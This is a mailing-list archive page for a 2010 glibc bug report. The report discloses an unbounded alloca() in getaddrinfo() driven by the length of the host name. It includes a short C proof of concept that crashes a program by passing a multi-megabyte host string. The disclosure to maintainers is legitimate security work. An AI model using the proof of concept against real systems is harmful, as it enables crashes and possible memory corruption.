public inbox for glibc-bugs@sourceware.org
help / color / mirror / Atom feed
* [Bug libc/11884] New: Unbound alloca() in node parameter of getaddrinfo()
@ 2010-08-05  5:12 cdn at chromium dot org
  2010-08-05  5:12 ` [Bug libc/11884] Unbounded " cdn at chromium dot org
                   ` (9 more replies)
  0 siblings, 10 replies; 13+ messages in thread
From: cdn at chromium dot org @ 2010-08-05  5:12 UTC (permalink / raw)
  To: glibc-bugs

getaddra() uses the provided node parameter to determine the size of an 
alloca(). When compiled without the -fstack-check option alloca() will be 
inlined as "SUB esp, size". For large values of size this can result in several 
consequences which allow subsequent writes to the stack to overwrite arbitrary 
memory.

The following POC can be used to demonstrate this vulnerability.

#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

void main(int argc, char **argv) {
 struct addrinfo hints, *res;
 char serv[] = "";
 char *host;
 host = mmap(0, atoi(argv[1]), PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
 memset(host, 0x41, atoi(argv[1]));
 host[atoi(argv[1]) - 1] = '\0';
 memset ((char *)&hints, 0, sizeof (hints));
 hints.ai_family = PF_INET;
 hints.ai_socktype = SOCK_STREAM;
 getaddrinfo(host, 0, &hints, &res);
 exit(0);
}

On a 32bit arch try values in the range of 9mb to demonstrate a crash.

-- 
           Summary: Unbound alloca() in node parameter of getaddrinfo()
           Product: glibc
           Version: 2.9
            Status: NEW
          Severity: critical
          Priority: P2
         Component: libc
        AssignedTo: drepper at redhat dot com
        ReportedBy: cdn at chromium dot org
                CC: cdn at chromium dot org,glibc-bugs at sources dot redhat
                    dot com


http://sourceware.org/bugzilla/show_bug.cgi?id=11884

------- You are receiving this mail because: -------
You are on the CC list for the bug, or are watching someone who is.


^ permalink raw reply	[flat|nested] 13+ messages in thread
end of thread, other threads:[~2014-06-30 17:24 UTC | newest]

Thread overview: 13+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
     [not found] <bug-11884-131@http.sourceware.org/bugzilla/>
2011-04-27 11:16 ` [Bug libc/11884] Unbounded alloca() in node parameter of getaddrinfo() thoger at redhat dot com
2011-05-21  3:48 ` drepper.fsp at gmail dot com
2014-06-30 17:24 ` fweimer at redhat dot com
2010-08-05  5:12 [Bug libc/11884] New: Unbound " cdn at chromium dot org
2010-08-05  5:12 ` [Bug libc/11884] Unbounded " cdn at chromium dot org
2010-08-05  5:14 ` cdn at chromium dot org
2010-08-18 17:12 ` cdn at chromium dot org
2010-09-12 15:27 ` kees at outflux dot net
2010-09-12 15:41 ` kees at outflux dot net
2010-09-12 15:51 ` kees at outflux dot net
2010-09-12 20:41 ` cdn at chromium dot org
2010-09-12 22:56 ` kees at outflux dot net
2010-09-14  0:15 ` cdn at chromium dot org
2010-09-14  0:36 ` pasky at suse dot cz

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).